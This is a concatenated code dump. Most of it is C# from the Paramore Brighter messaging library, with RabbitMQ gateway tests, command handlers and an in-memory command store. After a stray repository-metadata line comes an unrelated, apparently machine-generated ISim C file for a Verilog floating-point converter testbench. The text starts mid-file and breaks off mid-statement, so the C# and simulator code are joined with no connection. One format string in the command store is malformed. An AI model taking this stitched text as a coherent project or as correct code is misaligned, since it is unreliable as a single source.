Task.Delay(delayMilliseconds).Wait(); if (_messageProducerSupportsDelay) (_messageProducer as IAmAMessageProducerSupportingDelay).SendWithDelay(message, delayMilliseconds); else _messageProducer.Send(message); } /// <summary> /// Gets the length. /// </summary> /// <value>The length.</value> /// <exception cref="System.NotImplementedException"></exception> public int Length { get { return _queue.Count; } set { throw new NotImplementedException(); } } /// <summary> /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. /// </summary> public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } ~OutputChannel() { Dispose(false); } private void Dispose(bool disposing) { if (disposing) { _messageProducer.Dispose(); } } } } <file_sep>using System; using FakeItEasy; using Machine.Specifications; using paramore.brighter.commandprocessor; using paramore.brighter.commandprocessor.Logging; using paramore.commandprocessor.tests.CommandProcessors.TestDoubles; using TinyIoC; namespace paramore.commandprocessor.tests.CommandProcessors { [Subject("An event with multiple subscribers")] public class When_there_are_multiple_subscribers { private static CommandProcessor s_commandProcessor; private static readonly MyEvent s_myEvent = new MyEvent(); private static Exception s_exception; private Establish _context = () => { var logger = A.Fake<ILog>(); var registry = new SubscriberRegistry(); registry.Register<MyEvent, MyEventHandler>(); registry.Register<MyEvent, MyOtherEventHandler>(); var container = new TinyIoCContainer(); var handlerFactory = new TinyIocHandlerFactory(container); container.Register<IHandleRequests<MyEvent>, MyEventHandler>("MyEventHandler"); container.Register<IHandleRequests<MyEvent>, MyOtherEventHandler>("MyOtherHandler"); container.Register<ILog>(logger); s_commandProcessor = new CommandProcessor(registry, handlerFactory, new InMemoryRequestContextFactory(), new PolicyRegistry(), logger); }; private Because _of = () => s_exception = Catch.Exception(() => s_commandProcessor.Publish(s_myEvent)); private It _should_not_throw_an_exception = () => s_exception.ShouldBeNull(); private It _should_publish_the_command_to_the_first_event_handler = () => MyEventHandler.Shouldreceive(s_myEvent).ShouldBeTrue(); private It _should_publish_the_command_to_the_second_event_handler = () => MyOtherEventHandler.Shouldreceive(s_myEvent).ShouldBeTrue(); } }<file_sep>using System; namespace Paramore.Rewind.Core.Adapters.Repositories { public interface IRepository<T, TDocument> where T : IAmAnAggregateRoot<TDocument> where TDocument : IAmADocument { T this[Guid id] { get; } IUnitOfWork UnitOfWork { set; } void Add(T aggregate); void Delete(T aggregate); } }<file_sep>using System; using FakeItEasy; using Machine.Specifications; using paramore.brighter.commandprocessor; using paramore.brighter.commandprocessor.Logging; using paramore.commandprocessor.tests.CommandProcessors.TestDoubles; namespace paramore.commandprocessor.tests.CommandProcessors { [Subject("An event may have no subscribers")] public class When_there_are_no_subscribers { private static CommandProcessor s_commandProcessor; private static readonly MyEvent s_myEvent = new MyEvent(); private static Exception s_exception; private Establish _context = () => { var logger = A.Fake<ILog>(); var registry = new SubscriberRegistry(); var handlerFactory = new TestHandlerFactory<MyEvent, MyEventHandler>(() => new MyEventHandler(logger)); s_commandProcessor = new CommandProcessor(registry, handlerFactory, new InMemoryRequestContextFactory(), new PolicyRegistry(), logger); }; private Because _of = () => s_exception = Catch.Exception(() => s_commandProcessor.Publish(s_myEvent)); private It _should_not_throw_an_exception = () => s_exception.ShouldBeNull(); } }<file_sep>using paramore.commandprocessor; using Paramore.Rewind.Core.Adapters.Repositories; using Paramore.Rewind.Core.Domain.Meetings; using Paramore.Rewind.Core.Domain.Venues; using Paramore.Rewind.Core.Ports.Commands.Meeting; namespace Paramore.Rewind.Core.Ports.Handlers.Meetings { public class ScheduleMeetingCommandHandler : RequestHandler<ScheduleMeetingCommand> { private readonly IRepository<Meeting, MeetingDocument> repository; private readonly IScheduler scheduler; private readonly IAmAUnitOfWorkFactory unitOfWorkFactory; public ScheduleMeetingCommandHandler(IScheduler scheduler, IRepository<Meeting, MeetingDocument> repository, IAmAUnitOfWorkFactory unitOfWorkFactory) { this.repository = repository; this.unitOfWorkFactory = unitOfWorkFactory; this.scheduler = scheduler; } public override ScheduleMeetingCommand Handle(ScheduleMeetingCommand command) { var meeting = scheduler.Schedule( new Id(command.MeetingId), new MeetingDate(command.On), new Id(command.VenueId), new Id(command.SpeakerId), new Capacity(command.Capacity)); using (IUnitOfWork unitOfWork = unitOfWorkFactory.CreateUnitOfWork()) { repository.UnitOfWork = unitOfWork; repository.Add(meeting); unitOfWork.Commit(); } return base.Handle(command); } } }<file_sep>using System; using System.Collections.Generic; using Paramore.Rewind.Core.Adapters.Repositories; namespace Paramore.Rewind.Core.Ports.ThinReadLayer { public interface IAmAViewModelReader<out TDocument> where TDocument : IAmADocument { IEnumerable<TDocument> GetAll(); TDocument Get(Guid id); } }<file_sep>#region Licence /* The MIT License (MIT) Copyright © 2014 <NAME> <<EMAIL>> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #endregion using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Machine.Specifications; using paramore.brighter.commandprocessor.Logging; using paramore.commandprocessor.tests.MessagingGateway.TestDoubles; using RabbitMQ.Client; using paramore.brighter.commandprocessor; using paramore.brighter.commandprocessor.messaginggateway.rmq; using paramore.brighter.commandprocessor.messaginggateway.rmq.MessagingGatewayConfiguration; using RabbitMQ.Client.Exceptions; namespace paramore.commandprocessor.tests.MessagingGateway.rmq { [Subject("Messaging Gateway")] [Tags("Requires", new[] { "RabbitMQ", "RabbitMQProducerReceiver" })] public class When_posting_a_message_via_the_messaging_gateway { private static IAmAMessageProducer s_messageProducer; private static IAmAMessageConsumer s_messageConsumer; private static Message s_message; private static TestRMQListener s_client; private static string s_messageBody; private static IDictionary<string, object> s_messageHeaders; private Establish _context = () => { var logger = LogProvider.For<RmqMessageConsumer>(); s_message = new Message(header: new MessageHeader(Guid.NewGuid(), "test1", MessageType.MT_COMMAND), body: new MessageBody("test content")); s_messageProducer = new RmqMessageProducer(logger); s_messageConsumer = new RmqMessageConsumer(s_message.Header.Topic, s_message.Header.Topic, false, logger); s_messageConsumer.Purge(); s_client = new TestRMQListener(s_message.Header.Topic); }; private Because _of = () => { s_messageProducer.Send(s_message); var result = s_client.Listen(); s_messageBody = result.GetBody(); s_messageHeaders = result.GetHeaders(); }; private It _should_send_a_message_via_rmq_with_the_matching_body = () => s_messageBody.ShouldEqual(s_message.Body.Value); private It _should_send_a_message_via_rmq_without_delay_header = () => s_messageHeaders.Keys.ShouldNotContain(HeaderNames.DELAY_MILLISECONDS); private It _should_received_a_message_via_rmq_without_delayed_header = () => s_messageHeaders.Keys.ShouldNotContain(HeaderNames.DELAYED_MILLISECONDS); private Cleanup _tearDown = () => { s_messageConsumer.Purge(); s_messageProducer.Dispose(); }; } [Subject("Messaging Gateway Delayed")] [Tags("Requires", new[] { "RabbitMQ", "RabbitMQProducerReceiver", "RabbitMQDelayed" })] //[Ignore("This only works if RabbitMQ 3.5 w/plugin rabbitmq_delayed_message_exchange")] public class When_reading_a_delayed_message_via_the_messaging_gateway { private static IAmAMessageProducerSupportingDelay s_messageProducer; private static IAmAMessageConsumer s_messageConsumer; private static Message s_message; private static TestRMQListener s_client; private static string s_messageBody; private static bool s_immediateReadIsNull; private static IDictionary<string, object> s_messageHeaders; private Establish _context = () => { using (AppConfig.Change("app.with-delay.config")) { var logger = LogProvider.For<RmqMessageConsumer>(); var s_header = new MessageHeader(Guid.NewGuid(), "test3", MessageType.MT_COMMAND); var s_originalMessage = new Message(header: s_header, body: new MessageBody("test3 content")); var s_mutatedHeader = new MessageHeader(s_header.Id, "test3", MessageType.MT_COMMAND); s_mutatedHeader.Bag.Add(HeaderNames.DELAY_MILLISECONDS, 1000); s_message = new Message(header: s_mutatedHeader, body: s_originalMessage.Body); s_messageProducer = new RmqMessageProducer(logger); s_messageConsumer = new RmqMessageConsumer(s_message.Header.Topic, s_message.Header.Topic, false, logger); s_messageConsumer.Purge(); s_client = new TestRMQListener(s_message.Header.Topic); } }; private Because _of = () => { s_messageProducer.SendWithDelay(s_message, 1000); var immediateResult = s_client.Listen(waitForMilliseconds: 0, suppressDisposal: true); s_immediateReadIsNull = immediateResult == null; var delayedResult = s_client.Listen(waitForMilliseconds: 2000); s_messageBody = delayedResult.GetBody(); s_messageHeaders = delayedResult.GetHeaders(); }; private It _should_have_not_been_able_get_message_before_delay = () => s_immediateReadIsNull.ShouldBeTrue(); private It _should_send_a_message_via_rmq_with_the_matching_body = () => s_messageBody.ShouldEqual(s_message.Body.Value); private It _should_send_a_message_via_rmq_with_delay_header = () => s_messageHeaders.Keys.ShouldContain(HeaderNames.DELAY_MILLISECONDS); private It _should_received_a_message_via_rmq_with_delayed_header = () => s_messageHeaders.Keys.ShouldContain(HeaderNames.DELAYED_MILLISECONDS); private Cleanup _tearDown = () => { s_messageConsumer.Purge(); s_messageProducer.Dispose(); }; } [Subject("Messaging Gateway")] [Tags("Requires", new[] { "RabbitMQ", "RabbitMQProducerReceiver" })] public class When_multiple_threads_try_to_post_a_message_at_the_same_time { private static IAmAMessageProducer s_messageProducer; private static Message s_message; private static string s_messageBody; private static IDictionary<string, object> s_messageHeaders; private Establish _context = () => { var logger = LogProvider.For<RmqMessageConsumer>(); s_message = new Message(header: new MessageHeader(Guid.NewGuid(), "nonexistenttopic", MessageType.MT_COMMAND), body: new MessageBody("test content")); s_messageProducer = new RmqMessageProducer(logger); }; private Because _of = () => { Parallel.ForEach(Enumerable.Range(0, 10), _ => { s_messageProducer.Send(s_message); }); }; It _should_not_throw = () => { }; private Cleanup _tearDown = () => { s_messageProducer.Dispose(); }; } internal class TestRMQListener { private readonly string _channelName; private readonly ConnectionFactory _connectionFactory; private readonly IConnection _connection; private readonly IModel _channel; public TestRMQListener(string channelName) { _channelName = channelName; var configuration = RMQMessagingGatewayConfigurationSection.GetConfiguration(); _connectionFactory = new ConnectionFactory { Uri = configuration.AMPQUri.Uri.ToString() }; _connection = _connectionFactory.CreateConnection(); _channel = _connection.CreateModel(); _channel.DeclareExchangeForConfiguration(configuration); _channel.QueueDeclare(_channelName, false, false, false, null); _channel.QueueBind(_channelName, configuration.Exchange.Name, _channelName); } public BasicGetResult Listen(int waitForMilliseconds = 0, bool suppressDisposal = false) { try { if (waitForMilliseconds > 0) Task.Delay(waitForMilliseconds).Wait(); var result = _channel.BasicGet(_channelName, true); if (result != null) { _channel.BasicAck(result.DeliveryTag, false); return result; } } finally { if (!suppressDisposal) { //Added wait as rabbit needs some time to sort it self out and the close and dispose was happening to quickly Task.Delay(200).Wait(); _channel.Dispose(); if (_connection.IsOpen) _connection.Dispose(); } } return null; } } internal static class TestRMQExtensions { public static string GetBody(this BasicGetResult result) { return result == null ? null : Encoding.UTF8.GetString(result.Body); } public static IDictionary<string, object> GetHeaders(this BasicGetResult result) { return result == null ? null : result.BasicProperties.Headers; } } [Subject("Messaging Gateway")] [Tags("Requires", new[] { "RabbitMQ" })] public class When_a_message_consumer_throws_an_already_closed_exception_when_connecting_should_retry_until_circuit_breaks { private static IAmAMessageProducer s_sender; private static IAmAMessageConsumer s_receiver; private static IAmAMessageConsumer s_badReceiver; private static Message s_sentMessage; private static Exception s_firstException; private Establish _context = () => { var logger = LogProvider.For<BrokerUnreachableRmqMessageConsumer>(); var messageHeader = new MessageHeader(Guid.NewGuid(), "test2", MessageType.MT_COMMAND); messageHeader.UpdateHandledCount(); s_sentMessage = new Message(header: messageHeader, body: new MessageBody("test content")); s_sender = new RmqMessageProducer(logger); s_receiver = new RmqMessageConsumer(s_sentMessage.Header.Topic, s_sentMessage.Header.Topic, false, logger); s_badReceiver = new AlreadyClosedRmqMessageConsumer(s_sentMessage.Header.Topic, s_sentMessage.Header.Topic, false, logger); s_receiver.Purge(); s_sender.Send(s_sentMessage); }; private Because _of = () => { s_firstException = Catch.Exception(() => s_badReceiver.Receive(2000)); }; private It _should_return_a_channel_failure_exception = () => s_firstException.ShouldBeOfExactType<ChannelFailureException>(); private It _should_return_an_explainging_inner_exception = () => s_firstException.InnerException.ShouldBeOfExactType<AlreadyClosedException>(); private Cleanup _teardown = () => { s_receiver.Purge(); s_sender.Dispose(); s_receiver.Dispose(); }; } [Subject("Messaging Gateway")] [Tags("Requires", new[] { "RabbitMQ" })] public class When_a_message_consumer_throws_an_operation_interrupted_exception_when_connecting_should_retry_until_circuit_breaks { private static IAmAMessageProducer s_sender; private static IAmAMessageConsumer s_receiver; private static IAmAMessageConsumer s_badReceiver; private static Message s_sentMessage; private static Exception s_firstException; private Establish _context = () => { var logger = LogProvider.For<BrokerUnreachableRmqMessageConsumer>(); var messageHeader = new MessageHeader(Guid.NewGuid(), "test2", MessageType.MT_COMMAND); messageHeader.UpdateHandledCount(); s_sentMessage = new Message(header: messageHeader, body: new MessageBody("test content")); s_sender = new RmqMessageProducer(logger); s_receiver = new RmqMessageConsumer(s_sentMessage.Header.Topic, s_sentMessage.Header.Topic, false, logger); s_badReceiver = new OperationInterruptedRmqMessageConsumer(s_sentMessage.Header.Topic, s_sentMessage.Header.Topic, false, logger); s_receiver.Purge(); s_sender.Send(s_sentMessage); }; private Because _of = () => { s_firstException = Catch.Exception(() => s_badReceiver.Receive(2000)); }; private It _should_return_a_channel_failure_exception = () => s_firstException.ShouldBeOfExactType<ChannelFailureException>(); private It _should_return_an_explainging_inner_exception = () => s_firstException.InnerException.ShouldBeOfExactType<OperationInterruptedException>(); private Cleanup _teardown = () => { s_receiver.Purge(); s_sender.Dispose(); s_receiver.Dispose(); }; } [Subject("Messaging Gateway")] [Tags("Requires", new[] { "RabbitMQ" })] public class When_a_message_consumer_throws_an_not_supported_exception_when_connecting_should_retry_until_circuit_breaks { private static IAmAMessageProducer s_sender; private static IAmAMessageConsumer s_receiver; private static IAmAMessageConsumer s_badReceiver; private static Message s_sentMessage; private static Exception s_firstException; private Establish _context = () => { var logger = LogProvider.For<BrokerUnreachableRmqMessageConsumer>(); var messageHeader = new MessageHeader(Guid.NewGuid(), "test2", MessageType.MT_COMMAND); messageHeader.UpdateHandledCount(); s_sentMessage = new Message(header: messageHeader, body: new MessageBody("test content")); s_sender = new RmqMessageProducer(logger); s_receiver = new RmqMessageConsumer(s_sentMessage.Header.Topic, s_sentMessage.Header.Topic, false, logger); s_badReceiver = new NotSupportedRmqMessageConsumer(s_sentMessage.Header.Topic, s_sentMessage.Header.Topic, false, logger); s_receiver.Purge(); s_sender.Send(s_sentMessage); }; private Because _of = () => { s_firstException = Catch.Exception(() => s_badReceiver.Receive(2000)); }; private It _should_return_a_channel_failure_exception = () => s_firstException.ShouldBeOfExactType<ChannelFailureException>(); private It _should_return_an_explainging_inner_exception = () => s_firstException.InnerException.ShouldBeOfExactType<NotSupportedException>(); private Cleanup _teardown = () => { s_receiver.Purge(); s_sender.Dispose(); s_receiver.Dispose(); }; } }<file_sep>namespace Paramore.Rewind.Core.Domain.Common { public interface IAmAValueType<out T> { T Value { get; } } }<file_sep>using paramore.commandprocessor; using Paramore.Rewind.Core.Adapters.Repositories; using Paramore.Rewind.Core.Domain.Venues; using Paramore.Rewind.Core.Ports.Commands.Venue; namespace Paramore.Rewind.Core.Ports.Handlers.Venues { public class DeleteVenueCommandHandler : RequestHandler<DeleteVenueCommand> { private readonly IRepository<Venue, VenueDocument> repository; private readonly IAmAUnitOfWorkFactory unitOfWorkFactory; public DeleteVenueCommandHandler(IRepository<Venue, VenueDocument> repository, IAmAUnitOfWorkFactory unitOfWorkFactory) { this.repository = repository; this.unitOfWorkFactory = unitOfWorkFactory; } public override DeleteVenueCommand Handle(DeleteVenueCommand command) { using (IUnitOfWork uow = unitOfWorkFactory.CreateUnitOfWork()) { var venue = repository[command.Id]; repository.Delete(venue); uow.Commit(); } return base.Handle(command); } } }<file_sep>// *********************************************************************** // Assembly : paramore.brighter.commandprocessor // Author : ian // Created : 06-03-2015 // // Last Modified By : ian // Last Modified On : 06-03-2015 // *********************************************************************** // <copyright file="InMemoryCommandStore.cs" company=""> // Copyright (c) . All rights reserved. // </copyright> // <summary></summary> // *********************************************************************** #region Licence /* The MIT License (MIT) Copyright © 2014 <NAME> <<EMAIL>> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #endregion using System; using System.Collections.Generic; using System.Threading.Tasks; using Newtonsoft.Json; namespace paramore.brighter.commandprocessor { /// <summary> /// Class InMemoryCommandStore. /// This is mainly intended to support developer tests where a persistent command store is not needed /// </summary> public class InMemoryCommandStore : IAmACommandStore { private readonly Dictionary<Guid, CommandStoreItem> _commands = new Dictionary<Guid, CommandStoreItem>(); /// <summary> /// Adds the specified identifier. /// </summary> /// <typeparam name="T"></typeparam> /// <param name="command">The command.</param> /// <param name="timeoutInMilliseconds"></param> public void Add<T>(T command, int timeoutInMilliseconds = -1) where T : class, IRequest { var tcs = new TaskCompletionSource<object>(); if (!_commands.ContainsKey(command.Id)) { _commands.Add(command.Id, new CommandStoreItem(typeof(T), string.Empty)); } _commands[command.Id].CommandBody = JsonConvert.SerializeObject(command); } /// <summary> /// Finds the command with the specified identifier. /// </summary> /// <param name="id">The identifier.</param> /// <param name="timeoutInMilliseconds"></param> /// <returns>ICommand.</returns> public T Get<T>(Guid id, int timeoutInMilliseconds = -1) where T:class, IRequest, new() { if (!_commands.ContainsKey(id)) return null; var commandStoreItem = _commands[id]; if (commandStoreItem.CommandType != typeof(T)) throw new TypeLoadException(string.Format("The type of item {0) is {1} not{2}", id, commandStoreItem.CommandType.Name, typeof(T).Name)); return JsonConvert.DeserializeObject<T>(commandStoreItem.CommandBody); } /// <summary> /// Class CommandStoreItem. /// </summary> class CommandStoreItem { /// <summary> /// Initializes a new instance of the <see cref="T:System.Object"/> class. /// </summary> public CommandStoreItem(Type commandType, string commandBody, DateTime commandWhen) { CommandType = commandType; CommandBody = commandBody; CommandWhen = commandWhen; } public CommandStoreItem(Type commandType, string commandBody) : this(commandType, commandBody, DateTime.UtcNow){} /// <summary> /// Gets or sets the type of the command. /// </summary> /// <value>The type of the command.</value> public Type CommandType { get; set; } /// <summary> /// Gets or sets the command body. /// </summary> /// <value>The command body.</value> public string CommandBody { get; set; } /// <summary> /// Gets or sets the command when. /// </summary> /// <value>The command when.</value> public DateTime CommandWhen { get; set; } } } }
5e779d7562efe40182d7927a1706470a0c76b329
[ "C#", "Python" ]
43
C#
rudygt/Paramore
98b9869a14e83058120541e9f72c6d4fd33c9192
51ecd7eaea097501fba471fd53fca9c396073af3
refs/heads/master
<file_sep>/**********************************************************************/ /* ____ ____ */ /* / /\/ / */ /* /___/ \ / */ /* \ \ \/ */ /* \ \ Copyright (c) 2003-2009 Xilinx, Inc. */ /* / / All Right Reserved. */ /* /---/ /\ */ /* \ \ / \ */ /* \___\/\___\ */ /***********************************************************************/ /* This file is designed for use with ISim build 0xfbc00daa */ #define XSI_HIDE_SYMBOL_SPEC true #include "xsi.h" #include <memory.h> #ifdef __GNUC__ #include <stdlib.h> #else #include <malloc.h> #define alloca _alloca #endif static const char *ng0 = "/home/ise/Xilinx_host/CS152A/lab1/fpcvt_tb.v"; static int ng1[] = {0, 0}; static unsigned int ng2[] = {1U, 0U}; static unsigned int ng3[] = {0U, 0U}; static const char *ng4 = "Result is correct1!"; static const char *ng5 = " S is: %b"; static const char *ng6 = " E is: %b"; static const char *ng7 = " F is: %b"; static const char *ng8 = " Expects: 00000001"; static unsigned int ng9[] = {60U, 0U}; static unsigned int ng10[] = {2U, 0U}; static unsigned int ng11[] = {15U, 0U}; static const char *ng12 = "Result is correct2!"; static const char *ng13 = " Expects: 00101111"; static unsigned int ng14[] = {2495U, 0U}; static unsigned int ng15[] = {7U, 0U}; static unsigned int ng16[] = {13U, 0U}; static const char *ng17 = "Result is correct3!"; static const char *ng18 = " Expects: 11111101"; static unsigned int ng19[] = {2048U, 0U}; static const char *ng20 = "Result is correct4!"; static const char *ng21 = " Expects: 11111111"; static unsigned int ng22[] = {2047U, 0U}; static const char *ng23 = "Result is correct5!"; static const char *ng24 = " Expects: 01111111"; static unsigned int ng25[] = {125U, 0U}; static unsigned int ng26[] = {4U, 0U}; static unsigned int ng27[] = {8U, 0U}; static const char *ng28 = "Result is correct6!"; static const char *ng29 = " Expects: 01001000"; static unsigned int ng30[] = {112U, 0U}; static unsigned int ng31[] = {3U, 0U}; static unsigned int ng32[] = {14U, 0U}; static const char *ng33 = "Result is correct7!"; static const char *ng34 = " Expects: 00111110"; static unsigned int ng35[] = {44U, 0U}; static unsigned int ng36[] = {11U, 0U}; static const char *ng37 = "Result is correct8!"; static const char *ng38 = " Expects: 00101011"; static unsigned int ng39[] = {45U, 0U}; static const char *ng40 = "Result is correct9!"; static unsigned int ng41[] = {46U, 0U}; static unsigned int ng42[] = {12U, 0U}; static const char *ng43 = "Result is correct10!"; static const char *ng44 = " Expects: 00101100"; static unsigned int ng45[] = {47U, 0U}; static const char *ng46 = "Result is correct11!"; static void Initial_21_0(char *t0) { char t4[8]; char t20[8]; char t34[8]; char t50[8]; char t58[8]; char t90[8]; char t104[8]; char t120[8]; char t128[8]; char *t1; char *t2; char *t3; char *t5; char *t6; unsigned int t7; unsigned int t8; unsigned int t9; unsigned int t10; unsigned int t11; unsigned int t12; unsigned int t13; unsigned int t14; unsigned int t15; unsigned int t16; unsigned int t17; unsigned int t18; char *t19; char *t21; unsigned int t22; unsigned int t23; unsigned int t24; unsigned int t25; unsigned int t26; char *t27; char *t28; unsigned int t29; unsigned int t30; unsigned int t31; char *t32; char *t33; char *t35; char *t36; unsigned int t37; unsigned int t38; unsigned int t39; unsigned int t40; unsigned int t41; unsigned int t42; unsigned int t43; unsigned int t44; unsigned int t45; unsigned int t46; unsigned int t47; unsigned int t48; char *t49; char *t51; unsigned int t52; unsigned int t53; unsigned int t54; unsigned int t55; unsigned int t56; char *t57; unsigned int t59; unsigned int t60; unsigned int t61; char *t62; char *t63; char *t64; unsigned int t65; unsigned int t66; unsigned int t67; unsigned int t68; unsigned int t69; unsigned int t70; unsigned int t71; char *t72; char *t73; unsigned int t74; unsigned int t75; unsigned int t76; unsigned int t77; unsigned int t78; unsigned int t79; unsigned int t80; unsigned int t81; int t82; int t83; unsigned int t84; unsigned int t85; unsigned int t86; unsigned int t87; unsigned int t88; unsigned int t89; char *t91; unsigned int t92; unsigned int t93; unsigned int t94; unsigned int t95; unsigned int t96; char *t97; char *t98; unsigned int t99; unsigned int t100; unsigned int t101; char *t102; char *t103; char *t105; char *t106; unsigned int t107; unsigned int t108; unsigned int t109; unsigned int t110; unsigned int t111; unsigned int t112; unsigned int t113; unsigned int t114; unsigned int t115; unsigned int t116; unsigned int t117; unsigned int t118; char *t119; char *t121; unsigned int t122; unsigned int t123; unsigned int t124; unsigned int t125; unsigned int t126; char *t127; unsigned int t129; unsigned int t130; unsigned int t131; char *t132; char *t133; char *t134; unsigned int t135; unsigned int t136; unsigned int t137; unsigned int t138; unsigned int t139; unsigned int t140; unsigned int t141; char *t142; char *t143; unsigned int t144; unsigned int t145; unsigned int t146; unsigned int t147; unsigned int t148; unsigned int t149; unsigned int t150; unsigned int t151; int t152; int t153; unsigned int t154; unsigned int t155; unsigned int t156; unsigned int t157; unsigned int t158; unsigned int t159; char *t160; unsigned int t161; unsigned int t162; unsigned int t163; unsigned int t164; unsigned int t165; LAB0: t1 = (t0 + 2680U); t2 = *((char **)t1); if (t2 == 0) goto LAB2; LAB3: goto *t2; LAB2: xsi_set_current_line(21, ng0); LAB4: xsi_set_current_line(23, ng0); t2 = ((char*)((ng1))); t3 = (t0 + 1768); xsi_vlogvar_assign_value(t3, t2, 0, 0, 12); xsi_set_current_line(26, ng0); t2 = (t0 + 2488); xsi_process_wait(t2, 100000LL); *((char **)t1) = &&LAB5; LAB1: return; LAB5: xsi_set_current_line(31, ng0); t2 = ((char*)((ng2))); t3 = (t0 + 1768); xsi_vlogvar_assign_value(t3, t2, 0, 0, 12); xsi_set_current_line(31, ng0); t2 = (t0 + 2488); xsi_process_wait(t2, 5000LL); *((char **)t1) = &&LAB6; goto LAB1; LAB6: xsi_set_current_line(32, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); t2 = ((char*)((ng3))); memset(t4, 0, 8); t5 = (t3 + 4); t6 = (t2 + 4); t7 = *((unsigned int *)t3); t8 = *((unsigned int *)t2); t9 = (t7 ^ t8); t10 = *((unsigned int *)t5); t11 = *((unsigned int *)t6); t12 = (t10 ^ t11); t13 = (t9 | t12); t14 = *((unsigned int *)t5); t15 = *((unsigned int *)t6); t16 = (t14 | t15); t17 = (~(t16)); t18 = (t13 & t17); if (t18 != 0) goto LAB10; LAB7: if (t16 != 0) goto LAB9; LAB8: *((unsigned int *)t4) = 1; LAB10: memset(t20, 0, 8); t21 = (t4 + 4); t22 = *((unsigned int *)t21); t23 = (~(t22)); t24 = *((unsigned int *)t4); t25 = (t24 & t23); t26 = (t25 & 1U); if (t26 != 0) goto LAB11; LAB12: if (*((unsigned int *)t21) != 0) goto LAB13; LAB14: t28 = (t20 + 4); t29 = *((unsigned int *)t20); t30 = *((unsigned int *)t28); t31 = (t29 || t30); if (t31 > 0) goto LAB15; LAB16: memcpy(t58, t20, 8); LAB17: memset(t90, 0, 8); t91 = (t58 + 4); t92 = *((unsigned int *)t91); t93 = (~(t92)); t94 = *((unsigned int *)t58); t95 = (t94 & t93); t96 = (t95 & 1U); if (t96 != 0) goto LAB29; LAB30: if (*((unsigned int *)t91) != 0) goto LAB31; LAB32: t98 = (t90 + 4); t99 = *((unsigned int *)t90); t100 = *((unsigned int *)t98); t101 = (t99 || t100); if (t101 > 0) goto LAB33; LAB34: memcpy(t128, t90, 8); LAB35: t160 = (t128 + 4); t161 = *((unsigned int *)t160); t162 = (~(t161)); t163 = *((unsigned int *)t128); t164 = (t163 & t162); t165 = (t164 != 0); if (t165 > 0) goto LAB47; LAB48: xsi_set_current_line(34, ng0); LAB50: xsi_set_current_line(35, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng5, 2, t0, (char)118, t3, 1); xsi_set_current_line(36, ng0); t2 = (t0 + 1208U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng6, 2, t0, (char)118, t3, 3); xsi_set_current_line(37, ng0); t2 = (t0 + 1368U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng7, 2, t0, (char)118, t3, 4); xsi_set_current_line(38, ng0); xsi_vlogfile_write(1, 0, 0, ng8, 1, t0); LAB49: xsi_set_current_line(42, ng0); t2 = ((char*)((ng9))); t3 = (t0 + 1768); xsi_vlogvar_assign_value(t3, t2, 0, 0, 12); xsi_set_current_line(42, ng0); t2 = (t0 + 2488); xsi_process_wait(t2, 5000LL); *((char **)t1) = &&LAB51; goto LAB1; LAB9: t19 = (t4 + 4); *((unsigned int *)t4) = 1; *((unsigned int *)t19) = 1; goto LAB10; LAB11: *((unsigned int *)t20) = 1; goto LAB14; LAB13: t27 = (t20 + 4); *((unsigned int *)t20) = 1; *((unsigned int *)t27) = 1; goto LAB14; LAB15: t32 = (t0 + 1208U); t33 = *((char **)t32); t32 = ((char*)((ng3))); memset(t34, 0, 8); t35 = (t33 + 4); t36 = (t32 + 4); t37 = *((unsigned int *)t33); t38 = *((unsigned int *)t32); t39 = (t37 ^ t38); t40 = *((unsigned int *)t35); t41 = *((unsigned int *)t36); t42 = (t40 ^ t41); t43 = (t39 | t42); t44 = *((unsigned int *)t35); t45 = *((unsigned int *)t36); t46 = (t44 | t45); t47 = (~(t46)); t48 = (t43 & t47); if (t48 != 0) goto LAB21; LAB18: if (t46 != 0) goto LAB20; LAB19: *((unsigned int *)t34) = 1; LAB21: memset(t50, 0, 8); t51 = (t34 + 4); t52 = *((unsigned int *)t51); t53 = (~(t52)); t54 = *((unsigned int *)t34); t55 = (t54 & t53); t56 = (t55 & 1U); if (t56 != 0) goto LAB22; LAB23: if (*((unsigned int *)t51) != 0) goto LAB24; LAB25: t59 = *((unsigned int *)t20); t60 = *((unsigned int *)t50); t61 = (t59 & t60); *((unsigned int *)t58) = t61; t62 = (t20 + 4); t63 = (t50 + 4); t64 = (t58 + 4); t65 = *((unsigned int *)t62); t66 = *((unsigned int *)t63); t67 = (t65 | t66); *((unsigned int *)t64) 